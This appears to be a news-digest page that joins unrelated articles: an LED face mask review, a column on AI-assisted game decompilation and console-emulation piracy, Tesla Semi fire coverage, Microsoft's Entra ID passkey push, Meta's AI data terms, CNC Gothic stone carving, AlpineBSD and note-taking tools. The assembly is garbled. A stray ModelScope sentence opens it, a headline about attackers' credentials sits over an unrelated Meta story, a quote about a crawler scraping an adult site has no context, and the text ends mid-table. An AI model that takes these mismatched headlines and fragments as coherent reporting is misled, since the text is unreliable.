ModelScope also enables developers to fine-tune Nemotron 3.5 Transcribe through its ms-swift framework for specialized multimodal applications.

‘Light therapy without remortgaging the house’: the best LED face masks – tested

Original Article

L ED face masks are booming in popularity – despite being one of the most expensive at-home beauty products to hit the market. They claim to reduce the appearance of fine lines, stop spots and calm redness, with some even combining different types of light to enhance the benefits.

However, it’s wise to be sceptical about new treatments that are costly and non-invasive, and to do your research before you buy. With this in mind, I interviewed doctors and dermatologists to find out whether these light therapy devices work.

They’re not a miracle cure for deep-set wrinkles, but experts say the best light therapy masks can promote collagen production, improve elasticity and help smooth skin with sustained use. And while it may seem like a new technology, research from the 1990s shows the efficacy of light therapy in wound healing, acne treatment and skin rejuvenation.

Red and infrared light are safe to use on all skin types, but be warned that blue light can worsen hyperpigmentation on darker skin tones.

I’ve tested some of the most popular devices on the market – including infrared masks – to narrow down my favourite LED face masks for treating a range of skin concerns.

Why you should trust me

I’ve been reviewing health and beauty tech for the past five years. During this time I’ve witnessed many beauty fads come and go. Naturally tight-fisted and a sceptic, I was initially struck by the cost of these masks. How on earth can an elaborate LED light strip set you back more than £300?

But after testing multiple light therapy masks, I’ve come to understand the technology behind them – and, sadly, you won’t be able to engineer your own light therapy system with a costume mask and a set of LED string lights.

I don’t have many fine lines or wrinkles to test on, but I can comment on how blue-light treatment affects acne because I’ve suffered from it since I was a teenager – despite my mum’s assurances that it would clear up after puberty. The experts I spoke to agreed on the efficacy of red and infrared light for anti-ageing.

Are LED face masks worth it?

Light therapy masks are fantastic additions to a skincare routine, helping to smooth, firm and reduce blemishes. Since I started using one almost two years ago, my skin is calmer, less prone to redness, and has a more even tone.

However, LED masks can be expensive, and if you’re not disciplined enough to use one regularly, you won’t see results. Before you splash up to £500, keep in mind that light therapy masks are most effective when paired with a good skincare routine . It’s crucial to make sure skin is properly cleansed before treatment and protected from sun damage afterwards.

If you don’t already have a skincare routine nailed down, don’t buy a light therapy mask just yet. Consider starting out using a gentle cleanser and moisturiser, with an SPF for daytime. You could also incorporate targeted skincare serums, such as retinol and vitamin C , to help firm and brighten the skin without the need for an expensive light therapy mask.

How I tested

Since LED treatments take a while to show visible results, it’s difficult to test multiple light therapy masks at once (at least, without spending a few years testing them), so I enlisted the help of dermatologists who were familiar with light therapy treatments long before they were commercially available.

I spoke to Dr Barbara Kubicka, an expert in aesthetic medicine; Dr Derrick Phillips, a consultant dermatologist and spokesperson for the British Skin Foundation; and aesthetic doctor Dr Priya Verma, an authority on the science of skin ageing.

I asked these experts to identify which light therapy mask features – such as bulb quality and quantity, light wavelength and treatment time – matter the most, to inform my choices. They also outlined the suitability of light therapy for different skin types and its associated risks.

Armed with their advice, I tested the fit, comfort levels and usability of 18 of the most popular light therapy masks and other targeted LED devices. Getting hands on with the masks allowed me to pinpoint any of the key features the experts recommended, as well as features I found helpful as a consumer.

I’ve been using a light therapy mask regularly for almost two years, so I can identify a good mask from a bad one. My tests also included monitoring results after four nightly sessions, with the obvious caveat that only very minimal changes could be observed after such a short-term treatment. I then tested my favourite masks over several months, too, helping me to verify any unique treatment claims – as well as giving me plenty of opportunities to scare my boyfriend by sneaking up on him wearing each one.

Only masks that use the brightest, flicker-free bulbs, fit comfortably and are easy to use made the final cut. After testing, I returned the masks sourced for this article to the manufacturers. Where that wasn’t possible, I cleaned the masks and donated them to the Redbridge Reach Out service, which supports anyone experiencing domestic abuse.

The rest of the test

I’ve tested many more LED devices than can fit on this page, and while I don’t usually draw attention to bad products, I came across so many poorly designed models that I feel it necessary to shed light on the LED masks that overpromise and underdeliver.

First, we have the Revolution Pro Miracle LED face mask , which costs just £59.99 at full price. Believe me, I wanted this mask to be a winner, but its solid plastic structure, with no eye shielding or padding, made it so wildly uncomfortable to wear that it was an almost instant write-off. The straps are another problem; they come together around the bottom part of your head, causing the mask to constantly fall. It also seems built for very small faces, so it constantly slipped down my face, pinching my nose and making it difficult to breathe properly – even if I used it without the straps and lay flat during treatment. Throw in fewer LED bulbs than average and dim lights, and this mask is impossible to recommend.

A high price tag doesn’t guarantee how good the mask is either, as evidenced by the Foreo FAQ 202 LED mask , £719 at full price. Its light weight and comfort level, along with an array of treatment options via its app-based controls, meant it impressed initially. However, its silicone design felt incredibly flimsy, and after a week of use, it had already started peeling away from the central battery pack.

This might be forgivable if Foreo offered a full warranty and repair service. There’s a two-year warranty covering defects and faulty workmanship, but this does not cover “cosmetic deterioration caused by fair wear and tear, or damage caused by accident, misuse or neglect”. To access accidental damage coverage, you have to pay Foreo’s £9.99/month subscription. Even if you’re happy to risk it, at the time of testing in June 2026, you still had to shell out £4.99/month to access the mask’s full suite of preset treatments. Add to this the scale of advertising you’re bombarded with in the app – some of it unskippable. When you consider its price, this brazen money-grubbing leaves a very bad taste.

Through testing this family of devices, I had also been hoping to find an undereye brightening LED patch to usurp the Peep Club wand, which requires constant movement across the eye area. I had hoped that the Lustre GoGlow brightening and de-puffing patches would fit the bill. They come in a handy headphone-like charging case and have a clever wireless design. However, when positioned under the eyes as advertised, the light was incredibly bright, which made it tricky to see. The sticky pads, although small, were uncomfortable to remove, and my skin was left feeling irritated for a day afterwards. The search for the perfect undereye LED patch continues …

What you need to know

What is LED therapy, and how does it work?

“LED (light-emitting diode) therapy is a non-invasive treatment that uses specific wavelengths of light to stimulate various cellular processes in the skin,” says aesthetic medicine expert Kubicka. “Depending on the colour or wavelength, LED light can target inflammation, promote collagen production, accelerate healing and even kill bacteria.”

Light therapy is a great addition to your skincare routine – for me, it’s helped reduce breakouts, improve healing and reduce the appearance of my acne scars. LED face masks are quick, gentle and non-invasive, and suitable for most skin types (although as mentioned above, blue light can worsen hyperpigmentation on darker skin tones, according to the experts I spoke with). The masks are effective and foolproof to use, and the daily treatments also force you to take a little time for yourself – perfect for a morning pick-me-up or an evening wind-down.

Does red light help with anti-ageing?

“Red-light therapy can reduce the appearance of fine lines and wrinkles through a process called photobiomodulation,” says consultant dermatologist Phillips. “It energises mitochondria, which are the batteries of the cells, powering the production of collagen and elastin by fibroblasts, the factories of the skin.”

Elastin and collagen are “the building blocks of firm, youthful skin”, says Kubicka. Stimulating the production of these molecules can “improve skin density, elasticity and overall smoothness” as long as you complete treatments regularly.

I don’t have many fine lines or wrinkles, but I’m keen to avoid more by using red-light therapy for “preventive ageing”. However, “most of the clinical evidence focuses on treating visible signs of ageing or repairing damaged skin, rather than long-term prevention in younger skin”, as aesthetic doctor Verma explains.

Still, Verma reassured me my efforts wouldn’t be in vain. “Using LED light consistently and appropriately may help support overall skin health […] especially when combined with sun protection and a good skincare routine.”

For more, read do you really need an LED face mask ?

What different colours of light therapy are available?

Several colours are available, with each wavelength said to target a different skin concern. These colours correlate to the visible light spectrum, and each can have a different effect on the skin.

Red light has a wavelength of between 630 and 700nm and is the most widely known form of light therapy, loved for its non-invasive potential anti-ageing benefits. Near-infrared light above 700nm “penetrates the skin more deeply to support tissue repair and reduce inflammation”, according to Kubicka. Blue-light therapy (415nm), on the other hand, has been proven to target acne-causing bacteria, leading to a reduction in breakouts over time. Kubicka also says blue light can help regulate oil production – another common problem for those with acne.

The effects of some types of light on the skin are better researched than others. Near-infrared , red light and blue light are backed by scientific studies that identify the biological processes that each type of light triggers in the body.

Meanwhile, research into green and yellow light is more limited. One study questions the efficacy of yellow-light therapy and claims that a previous study may have been influenced by the placebo effect. Similarly, a study on green light therapy suggests that more research is needed to provide a solid recommendation for use as an anti-ageing treatment.

The “how” is simple: always use light therapy masks on freshly washed, dry skin, before applying serums and creams. This will give the light the most direct access to the skin.

Despite what some instruction manuals advise, don’t jump into daily treatments straight away – you may end up with slightly irritated skin. Start by introducing treatments two to three times a week, and monitoring the impact on your skin. If you don’t notice any sensitivity, you can incorporate more treatments, if permitted by the manufacturer’s guidelines.

Once your skin is used to the treatment, “home devices should be used three to five times a week, for 10-20 minutes a session,” says Phillips. But treatment times vary between devices, so always follow the manufacturer’s instructions, and don’t expect instant results. If you’re hoping to reduce breakouts, you should “see a reduction in redness and the frequency of acne breakouts within two to four weeks”. Those using red light for anti-ageing benefits will need to wait a little longer: “It typically takes six to eight weeks to see visible changes.”

Is light therapy safe for all skin tones?

“LED light therapy is generally very safe when used correctly,” says Verma. This is because, unlike laser hair removal, it only uses low-level, non-thermal light. “The most common side effects are mild and temporary, such as slight redness, dryness or irritation.”

“People with known photosensitive disorders or taking medications that make them more sensitive to light (eg certain antibiotics) should consult their doctor,” says Phillips. He also warns that those with darker skin tones should exercise caution when using blue light, since “some blue wavelengths have been associated with hyperpigmentation”. The Lustre Solo patches recommended above offer exclusively blue light, but the other masks in this roundup have blue-light-free settings if you do find that it causes sensitivity.

How much should I spend on an LED therapy mask?

There are hundreds of light therapy masks available at different prices, but the quality varies wildly. You may see results from a budget-friendly mask, such as the Silk’n LED face mask 100 reviewed above, but spending more will generally get you a larger quantity of bulbs that offer a greater range of wavelengths. You’re also more likely to get a mask with a better fit and coverage.

The best mask for you will depend on your skin concerns and budget. Those hoping to invest in a mask with anti-acne properties will be able to spend less, since blue light is more widely available, but if you’re looking for the best anti-ageing deep near-infrared light therapy, you will need to part with more cash.

High-end red-light therapy masks can cost upwards of £500; if you spend that much, just make sure you use it regularly, or you won’t see results.

How to clean an LED face mask

Cleaning instructions for LED masks will differ slightly from brand to brand, based on the different materials used. As a general rule, you want to steer clear of using chemical or alcohol-based cleansers since these can damage a mask’s delicate silicone and padded components. Always check the instructions for your specific mask before jumping into cleaning.

The usual best practice is to use a non-abrasive cloth, such as microfibre , dampened with water to wipe down your mask after every use. Try not to use too much water and never submerge the mask, as doing so will damage the electrical components. Always make sure your mask is unplugged and switched off before cleaning, and wait for the mask to dry completely before storing, charging or switching it on.

Original Article

I f your social media algorithms have clocked that you’re into video games, something strange will have happened in the past few weeks. Your feed, like mine, will have been full of clips of streamers playing bizarre mashups of popular video games . Skyrim in Minecraft. Halo, except the main character is Mario. Skate 2 in Call of Duty maps. A flood of professional-looking fan-coded game mods that are mildly interesting to look at for 30 seconds, but ultimately inconsequential. Would I download a mod that lets me play Wii Bowling inside a zombie shooter? No, but I am very interested in where they came from.

Of course, the answer – or at least, most of the answer – is AI. After a week of researching this (thanks especially to Replay Mode on YouTube for this informative video , which set me down this track) I now understand that these mashup mods are not just AI-generated videos, but AI-assisted coding. Basically, as of a few weeks ago, Anthropic’s Claude has become extremely good at decompiling video game code. Games are written by humans in readable code and then compiled into binary 1s and 0s that the PC or console running it can read; decompiling is the reversal of that process, revealing a game’s source code, which humans can then edit and mess around with for fun. This used to be an extremely laborious process. But now it is not, because humans aren’t doing much of it any more.

Claude is now able to spit out a game’s source code from its compiled version overnight. Tell it to combine two games and it will help with that, too. There is not zero human involvement: from what I understand, the best of these mashups have needed significant human tweaking. But this has completely transformed video game modding because you now need drastically less time and computing knowledge to be able to pull off massive projects. It now takes an evening rather than months of work.

As a person with zero coding knowledge, I was curious about how easy this was to do. I asked Claude how I’d go about making my own mashup, I picked one relatively obscure game and one extremely popular one, just to be annoying. Claude gave me comprehensive instructions and background on some modding and emulation tools, which was super interesting but ultimately of no use to me, because I had no idea what I was doing. So I just asked it if it could build me this in a browser.

Four minutes later, it spat out a rubbish but playable game, with further instructions on how I could get the visual assets from the source games so that Claude could incorporate them for me and host it as a local file to avoid copyright issues. In half an hour, I had made something that’s still rubbish, but good enough for a 15-second TikTok. Except I haven’t made anything at all – the machine has done it for me. I still have no idea what I’m doing.

This probably doesn’t seem that different from people using AI to create fake images of Jesus shaking hands with Trump to post on Facebook – and it isn’t, really. But people who DO know what they’re doing have gone much further with this AI-assisted source-code bonanza. I have seen relatively recent games such as Zelda: Tears of the Kingdom running in web browsers. Github is full of open-source code for Steam-like game launchers that draw from all the emulated codebases available, essentially giving you a vast library of retro games for free. Most consequentially, PlayStation 5 emulation has made an enormous jump: you can now run almost any PS5 game on a PC. For free.

Much of this is obviously extremely illegal. Regarding the PlayStation 5 situation, I have seen a lot of angry videos describing this as a justified response to Sony’s abandonment of physical games: if you can’t buy a game anyway, how can you steal it? Nintendo Switch and Switch 2 emulation has also become astonishingly easy, thanks to AI-assisted launchers and mod hubs with beautifully clean interfaces. Speaking as a former prodigious teenage pirate (I wasn’t always so technically illiterate), you used to have to accumulate some secret knowledge to avail yourself of this stuff. That is no longer the case.

There are enormous consequences here for any video game publisher that would rather not have all of their game’s code freely available online for people to do what they want with. And that, presumably, is all video game publishers. AI is a technology built on the theft of creative work, as all writers and artists know – but up until now, it has not affected corporations to the same extent. Now that it does, will AI companies finally be forced to pump the brakes?

My house has been completely overtaken by Nintendo Switch Sports Resort , which brings motion-controlled sports from skateboarding to thumb-wrestling to your living room, alongside more normal options such as tennis, golf and bowling. This is obviously a game in the Wii Sports lineage, and it fully embraces that landmark game’s accessible, fun-first philosophy, while also building on it to keep your interest going, from competitive leagues and online play to peaceful plane and jetski tours around the titular resort. My kids are obsessed with it. And because they’re up and moving, I felt perfectly fine about letting them play it for four straight hours while we were trapped in the house by Storm Boelo over the weekend.

Plenty of games have created architecturally accurate cities – all of the Assassin’s Creeds, Tom Clancy’s The Division, Yakuza/Like a Dragon and of course Grand Theft Auto – but fewer have made geographically accurate places that don’t have a volcanic lava-land in troublingly close proximity to a jungle. Forza Horizon’s versions of Mexico, Japan and the UK feel accurate, but aren’t. Apparently Kingdom Come: Deliverance is based on a geographically accurate recreation of 15th-century Bohemia, which doesn’t surprise me at all given that game’s devotion to historical believability.

A teaser video shared by Apple CEO John Ternus today hints at a potential name for the rumored MacBook models with touch-enabled OLED displays: MacBook Studio.

The video shows an Apple logo being projected onto a wall against a city skyline, and perhaps that wall is a movie studio. Apple is expected to show off the new MacBooks to selected tech reporters and content creators at an experience in Los Angeles at 10 a.m. Pacific Time today , and that is the home of Hollywood movie studios after all.

If this theory proves to be accurate, then Apple would offer both a Mac Studio desktop computer and a MacBook Studio laptop, plus the Studio Display. Apple would likely position the MacBook Studio as being aimed at creators, and it would surely promote its recently-updated Apple Creator Studio suite of apps alongside the announcement today.

This is obviously all just some last-minute speculation for fun — we did the same with iPhone Duo . The new models could stick with MacBook Pro branding, and the long-rumored MacBook Ultra name still remains a possibility too.

Bonus theory: What if the teaser hints at the glowing Apple logo returning to the MacBook's lid? We truly might be getting ahead of ourselves now.

Here's the teaser in case you missed it:

Tesla Semi catches fire on I-880

Firefighters spray foam on a burned Tesla Semi and trailer on I-880 in Hayward, California — Photo: CHP Hayward

A Tesla Semi caught fire on Interstate 880 in Hayward, California, on Tuesday evening, and there was no crash. The electric truck’s lithium-ion battery burned long enough to keep the southbound freeway closed for about 10 hours.

The driver got out unhurt. But a Class 8 electric truck catching fire on its own, in traffic, is something Tesla and its growing list of Semi customers need to explain.

What happened on I-880

The fire broke out at around 5:35 p.m. PT in the southbound lanes near Route 92. CHP Hayward then closed I-880 in both directions, citing “the potential risk of hazardous chemical smoke,” and posted these photos from the scene:

🚨 TRAFFIC ALERT – I-880 FULL CLOSURE 🚨

A Tesla semi-truck has caught fire on I-880, resulting in a complete shutdown of both northbound and southbound lanes due to the potential risk of hazardous chemical smoke. pic.twitter.com/O01z32nxpZ

— CHP Hayward (@CHPHayward) October 28, 2026

The driver told officers the truck caught fire and that they didn’t know why. No other vehicles were involved.

Northbound reopened Tuesday night. Southbound took much longer. CHP initially warned that the battery could burn for 15 to 18 hours, but crews beat that estimate, and CHP Hayward posted that all lanes were open at around 3:30 a.m. Wednesday.

The CHP photos show firefighters laying foam around the burned-out tractor, with the front of a Premier Trailer Leasing trailer charred behind it. The truck’s operator hasn’t been identified, and Tesla, which doesn’t have a press office, hasn’t commented. The cause is under investigation.

The second Semi fire to close a California interstate

We’ve been here before. In August 2024, a Tesla-operated Semi caught fire on I-80 near Emigrant Gap while driving from Livermore to Tesla’s facility in Sparks, Nevada. At the time, no crash was reported. The NTSB later found the truck had left the road on a curve, hit a delineator post and a tree, and its battery ignited after the impact. Firefighters used about 50,000 gallons of water, and the lanes stayed closed for up to 15 hours.

Hayward is different. Without a crash, the focus shifts to the truck itself: the battery pack, the high-voltage system, the drive units, or something as ordinary as a tire or brake fire that spread.

And the timing isn’t great for Tesla. The company only started volume production of the Semi in Nevada this year, after nearly a decade of delays. WattEV ordered 370 Semis in May, mostly for drayage at the Port of Oakland, just a few miles up I-880 from where Tuesday’s truck burned. In September, Tesla was also named lead supplier on a 2,500-truck ZET SCALE order.

Electrek’s Take

First, some perspective, because this fire is going to get used as an anti-EV talking point. Truck fires are common. According to NFPA data , US fire departments responded to an average of 15,462 large-truck fires per year between 2018 and 2022. That’s about 42 a day, in a fleet that’s overwhelmingly diesel. Mechanical failure was a factor in 44% of them, and only about 2% were tied to a collision.

The same goes for cars. NFPA and DOT data put the US average at one vehicle fire for every 17 million miles traveled, and combustion vehicles make up the vast majority of that fleet. Tesla claims one fire per 140 million miles for its own vehicles. That’s Tesla’s number, but independent data, like government figures we’ve covered before , points the same way: gas vehicles catch fire more often than EVs.

But that doesn’t get the Semi off the hook. Diesel fires happen across millions of trucks. Tesla doesn’t disclose Semi deliveries, but PepsiCo, its launch customer, was up to about 86 trucks in 2024, and volume production only started a few months ago. With a fleet that small, one fire with no crash is a big data point. It’s also the second Semi fire to shut down a California interstate in about two years.

So we need the cause. If a tire, a brake, or the trailer caught fire and it spread to the tractor, that’s a regular trucking problem. If the pack went into thermal runaway on its own, Tesla needs to find out why before tens of thousands of these trucks hit the road, and fire departments need a better plan than letting a loaded truck burn on a freeway for half the night.

The NTSB investigated the last one. It should look at this one too, and Tesla should publish what it finds. Will it?

Electric trucks and cars are only as clean as the electricity charging them. If you’re driving an EV, powering it with home solar can cut your fuel costs to nearly zero. With electricity rates up almost 10% last year and expected to keep climbing, going solar is one of the best ways to protect yourself against rising costs. And with lease and PPA options, you can do it with zero upfront cost and start saving immediately. If you want to find the best deal, check out EnergySage .

Microsoft urges Entra ID admins to migrate users to passkeys

Original Article

Microsoft again asked Entra ID administrators to migrate users to phishing-resistant methods to avoid sign-in disruptions before it retires SMS and voice authentication in February 2027.

This retirement process applies only to Microsoft Entra ID workforce tenant authentication scenarios and not to Azure AD B2C or Microsoft Entra External ID customer identity scenarios.

Before Microsoft retires SMS and voice authentication, admins should ensure all users in their organizations use a phishing-resistant method, since they will no longer be able to use them to complete multifactor authentication and log in to their accounts.

Admins can choose from passkeys, QR code authentication, FIDO2 security keys, and other Entra ID-supported sign-in methods.

"Microsoft-provided SMS and voice authentication will retire starting February 1, 2027. Complete your migration before rollout begins to avoid interrupting users' sign-in experience," Microsoft said in a Microsoft 365 Message Center update on Tuesday.

"SMS and voice are vulnerable to phishing and SIM-swap attacks. Microsoft recommends passkeys for stronger, phishing-resistant protection. You can also migrate to another supported authentication method or retain SMS and voice by configuring a customer-managed telecom provider (CYOT) through the Microsoft Security Store."

As Microsoft noted in a previous reminder issued in September, admins with the Authentication Policy Administrator, Global Reader, or Security Reader roles can find users with SMS or voice authentication with the Entra SMS/Voice Policy Scanner PowerShell script .

Organizations that must use phone-based authentication have to configure third-party telecom providers through the Microsoft Security Store.

Passkeys now the default Entra ID auth method

In July, Microsoft announced that passkeys will start rolling out as the default authentication experience for the Entra ID enterprise identity service starting in September.

"As the rollout reaches each organization, users enabled for SMS or voice authentication will automatically be enabled for passkeys, and the next time they perform multifactor authentication, they'll be prompted to register a passkey," Microsoft said .

"Following this transition, on February 1, 2027, Microsoft will retire Microsoft-provided telecom delivery for SMS and voice authentication and will no longer offer SMS and voice as a native Microsoft Entra capability."

Microsoft also retired SMS first-factor sign-in for Microsoft Entra ID Free tenants in August due to phishing, fraud, and account compromise risks, and stopped enabling it for newly created tenants.

Detailed guidance on deploying and managing phishing-resistant passwordless authentication in Entra ID is available on this dedicated Microsoft documentation page .

Once attackers have valid credentials, only 37% of their actions are blocked

Original Article

You've probably heard, at this point, about the big changes coming to Meta's AI scraping terms for business accounts. Nieman Lab had that scoop, and since then, small businesses, journalists, and artists using Meta products like Instagram have been raising the alarm. But if you're in the EU or UK, you might be in luck and can object to that use of your data, as some users have pointed out.

Earlier this month, Meta updated its commercial terms of use for business accounts to allow it to “use any content from such domains, web pages, or URLs to provide, develop, improve, research, train, and maintain the integrity of” Meta’s products.

Many artists and small business owners that rely on Instagram and Facebook are livid at Meta granting itself permission to use their content, including from websites simply connected to their Meta accounts, to train AI. But for users in the United Kingdom and European Union, for now, there’s a way to object.

Meta buried this change in its Commercial Terms , and Nieman Lab first reported on the change. The update was originally set to go into effect on October 30, but following backlash, Meta changed the effective date to November 20. Adding to the confusion, Meta then removed the word “train” from a list of allowed use cases, Nieman Lab reported , and limited those uses to “advertising and business products,” where previously it said that data would be used for all Meta products. Those terms still allow Meta plenty of leeway for scraping users’ data to develop its products, however.

Several users based in the UK and EU have explained how to object on Instagram. On mobile: by clicking the three lines on their account, going to the privacy center, and clicking “object,” which goes to a form that asks users to write why they are objecting to their data being used. They received an email from Meta saying their objections were approved.

The New York Times has an antisocial aversion to linking: Another day, another the-New-York-Times-isn’t-linking controversy. The specifics here almost don’t matter because this happens seemingly every day, but basically the New York Times investigation about chemical plant polluters under the Trump administration was covered in much the same way by Hunterbrook, a news outlet fused with a hedge fund. The Times article—which led the Sunday print edition—uses similar photos, some of the same sources, and covers similar ground to Hunterbrook’s earlier investigation from February , with no acknowledgment or link whatsoever. After the cofounder of Hunterbrook rightfully ranted about this on X, the Times added an acknowledgment (but no link!!!) toward the bottom of the story. Puck’s Dylan Byers has a good rundown about what happened, which includes parts of a three-paragraph Times ’ spokesperson statement explaining at length why they don’t think they have to link. This is extremely antisocial, deranged behavior and it’s ridiculous that the Times is still getting away with this. Bottom line: I’m sure the Times was already working on this story , what with their massive newsroom. Even so, they got beat, and they should link. Journalism awards need to stop looking the other way when big outlets do this. This has happened to us many times and it actually does matter for smaller outlets and links are free. Let’s try them!

The scrapes were likely automated. But that is exactly the problem: as far as our logs show, nobody checked. A crawler working for a company whose platform tens of millions of children use was pointed at an adult site, and it took explicit models without telling them apart from anything else,” Open3DLabs wrote in a blog pos t about the scraping. “For a company being sued by several US states over child safety, ‘our AI team bulk-downloaded an adult site without looking’ is not a good position to be in.”

Original Article

In a form of architecture so ancient, CNC machines may seem a little out of place. However, when one considers that the medieval builders were always on the forefront of the technology of their day, it no longer seems so strange. To build Gothic today, it must become a reality, not a romantic idea locked up forever in one’s head.

(The Carmelite Monks spend their allotted work time on construction. See their Horarium here.)

CNC carving of a Gothic pinnacle by the Carmelite Monks

CNC machines and robots have unlocked the ability to relatively quickly carve the intense details of a Gothic church. Ornate pieces that used to take months for a skilled carver, now can be accomplished in a matter of days. Instead of cutting out the beauty, using the excuse that it takes too long, thus doesn’t fit into the budget, modern technology can be used to make true Gothic in all its beauty a reality again today.

The use of modern technologies in stone carving unlock the potential of modern youth. Though they may be untrained in the use of a hammer and chisel, young men and women have grown up in a world of computers. The skills they possess can now be channeled towards a higher end, the building of a church for the glory of God.

CNC Programing of a Gothic pinnacle by a Carmelite Monk

What is a CNC machine

CNC stands for “computer numerically controlled”, where a computer, through a series of XYZ coordinates, controls the movements of a machine. The first CNC was invented for the manufacturing of airplane parts. Stone cutting CNC machines are a relatively new invention.

Stone carving CNC machines typically use diamond tipped blades and milling bits, not water or laser, to carve the stone. The diamonds, harder than the stone, grind away at the stone and wear it away. The water is simply to keep the diamond tool from heating up from the friction and to wash away the stone sludge created by the carving process.

CNC stone cutting blade and bits used by the Carmelite Monks

Normally the stone carving CNC machines used for sculptures and foliage have 5 axes, being able to move left and right, up and down, front and back, and rotate their heads in two different ways. The machines interpolate these multiple axes in order to carve the stone. “Interpolate” means to work together, and an axis is one direction of motion. So, the machines can move left, and down, and rotate their heads all at the same time to reach into a small area or leave a particular finish on the stone. Sometimes they will even have a 6th axis, typically a lathe or a turntable, for carving tall stones such as pinnacles or statues. The lathe interpolates with the other axes, carefully positioning itself to allow the CNC machine to reach each area of the stone. CNC machines can also carve stone unattended, sometimes for long periods at a time and overnight. This means 40 hours, a typical week of work, is less than 2 days for a CNC, a significant time savings!

CNC lathe and spindle at work carving stone for Carmelite Monks

Prussiani CNC machines

The Carmelite Monks use CNC machines from Prussiani Engineering, a stone CNC manufacturer based out of Bergamo, Italy. Italians have always been at the forefront of stone carving, and it is no different with modern technology. With Prussiani’s machines the monks can carve levels of detail previously reserved to the hand carving of highly skilled craftsmen. With the mindset “where there’s a will, there’s a way” and careful programming the machines’ capabilities are practically limitless and have the ability to carve unprecedented 3D reliefs.

The Prussiani machines also have a reputation of being indestructible, a reputation proven in the battlefield of stone carving. Stone is an incalcitrant material, and it takes robust machines to subdue it; no small task! Here’s a little story to illustrate. For the first time, a few months after we started carving stone, we left our first CNC machine running overnight on several 7 foot long window sills. We woke to a shocking surprise the following morning. The huge stones, weighing several hundred pounds each, had been thrown about as if a tornado had ripped through the machine. Stones were snapped and shattered, the fragments scattered about the inside of the CNC milling area. After the shock settled, we proceeded to analyze what had happened. It turns out there was a mistake in the particular batch of code the machine had read and followed that night. At the very end of each window sill, after it had completely finished carving, the code told the CNC machine to repeatedly pound down into the top of the sill, almost as if it was a giant fist. The stones didn’t stand a chance, but that same machine is still carving stones to this day, almost a decade later.

The Carving Process

The process of carving stone with a CNC is a digital workflow. The ornate pieces covered in foliage, the statues, the gargoyles, and many other distinct Gothic elements begin with the artist, the head carver. He sculpts the various flowers and leaves using a 3d modeling program in a process much similar to molding a ball of clay. It still requires a great deal of artistic talent, but there is a major advantage to this work in a computer, the Undo button! The artist can experiment with an almost infinite number of designs to find the one most suited to the space. And with the ability to visualize the pieces in a full model of the church, there is no longer any guesswork as to what the finished building will look like.

Once the artist has finished a particular sculpture it is passed on to the actual stone carvers, the CNC programmers. The programmers take the 3d model into a CAM program, which stands for computer aided machining, and create the toolpaths that the CNC machine will use to carve the actual stones. Utilizing a large arsenal of tooling and methods they gradually carve the stone down to the finished piece. They do their best to transform the stone block they start with to as close a resemblance of the artist’s model as possible, similar to the way stone carvers have historically used a pointing machine to transfer measurements from a plaster model into stone. At the same time they have to juggle a wide array of concerns, from which tools to use depending on speed and finish, to how to keep the stone from moving, to avoiding collisions between the cnc and the stone, or even other stones they might be carving at the same time. This is a lot to keep track of, but if done well, it will quickly bear fruit. It is extremely rewarding to see the keystrokes and mouse clicks of a computer turn into not only a finished product, but an ornately carved part of a Gothic church, a place God will be loved for centuries to come.

Finally, once all of that Gcode (the programming language of a CNC machine) is ready, it is handed over to the sawyers, who operate the CNC machines themselves, as well as the various other saws that prepare the stone blocks for carving. The sawyers are the “boots on the ground” guys and keep a clear line of communication open with the programmers to ensure that everything runs smoothly. They carefully follow the layouts and tooling lists the programmers prepare for each piece as they set up the stones for carving, set reference points so the machines can locate each stone, and monitor it as it carves. They are constantly keeping a watchful eye to ensure that everything goes smoothly. There is a symbiotic relationship between the sawyers and the programmers as the work of each is essential to the successful completion of each stone.

The Monk Sawyers setting up a table to be Carved for the CNC

The sawyers also operate the wire saws and bridge saws, cutting each stone to either be carved into something more ornate, or to go straight into the wall. The wire saw, a simpler type of 2 axis cnc itself, can cut simple profiles, including any straight piece, such as columns and the straight parts of window surrounds. The sawyer, using the wire saw, will take a large slab of stone and sometimes cut even 20 or 30 different smaller stones out of it; looking similar to pieces from a cookie cutter. This frees up the 5 axis CNC machines to focus on the more ornate pieces, and is also significantly faster.

The monk Wire sawyer puts in plastic shims to support the cut pieces. On the right is the finished product of the wire saw awaiting the denesting of the profiled stones

There are many different facets to the art and science of stone carving today and only a few have been touched on here. Pneumatic chisels and hand carving certainly have a valuable role to play, as well as a multitude of other methods not discussed here. The learning curve to dive into such a work is indeed daunting, the workload intimidating, but the fruit of it will stand for centuries to come.

Welcome to AlpineBSD!

AlpineBSD is an operating system based on the NetBSD kernel with a userspace inspired by Alpine Linux and the objective of making it possible to use as little AI-generated software as possible . There is no LLM output included in the base system or main package repository ( AlpineBSD AI policy ).

AlpineBSD is a work in progress . There is currently no installer available. For the adventurous, a very high-level installation guide is available here .

Compared to NetBSD

AlpineBSD ships the NetBSD kernel, libc, and essential platform-specific tools like mount .

NOTICE : The NetBSD kernel has spotty hardware support, much less so than Linux. You cannot necessarily expect AlpineBSD to work on any random computer you have lying around. Consult the NetBSD supported hardware list for more information, particularly for laptops.

Compared to Alpine Linux

AlpineBSD ships with the apk-tools package manager and busybox, and a slightly more GNU-oriented userspace, preferring e.g. GNU make over BSD make. AlpineBSD is not a fork of Alpine Linux, its package collection is original (though many packages are ultimately based on aports).

Alpine Linux uses the OpenRC init system. Currently, AlpineBSD uses s6 and we intend to add OpenRC as an alternative.

An architectural comparison of Obsidian Canvas and Heptabase

Original Article

At first glance, the Obsidian Canvas vs. Heptabase debate looks like a choice between two similar spatial note-taking tools. Both give you an infinite 2D canvas, both let you arrange notes side by side, and both let you draw arrows between ideas.

Under the hood, however, their data architectures are fundamentally opposite.

The short answer: Obsidian Canvas stores visual arrangements inside individual .canvas files using the open JSON Canvas format. In Heptabase , whiteboards are non-owning visual views over a central card library.

In practice, this means a line drawn on an Obsidian Canvas creates no link between notes in your vault, while a line drawn on a Heptabase whiteboard creates a connection both cards remember. In short: Obsidian’s connections are portable across external tools but unindexed in your vault’s graph; Heptabase’s connections are indexed across your cards but locked into its proprietary ecosystem.

If you are trying to decide whether to build your long-term knowledge workflow in Obsidian Canvas or invest in a dedicated spatial tool like Heptabase, looking at UI features won’t give you the answer. You have to look at how each tool models files, cards, and context.

Architectural Breakdown: Obsidian Canvas vs. Heptabase

Architectural Dimension	Obsidian Canvas	Heptabase
First-Class Citizen	Files ( `.md` notes and `.canvas` files)	Atomic Cards (Global entities across the workspace)
Spatial Organization	Embeds Markdown files or local text cards inside an open JSON Canvas file	Maps global cards as live views across multiple whiteboards simultaneously
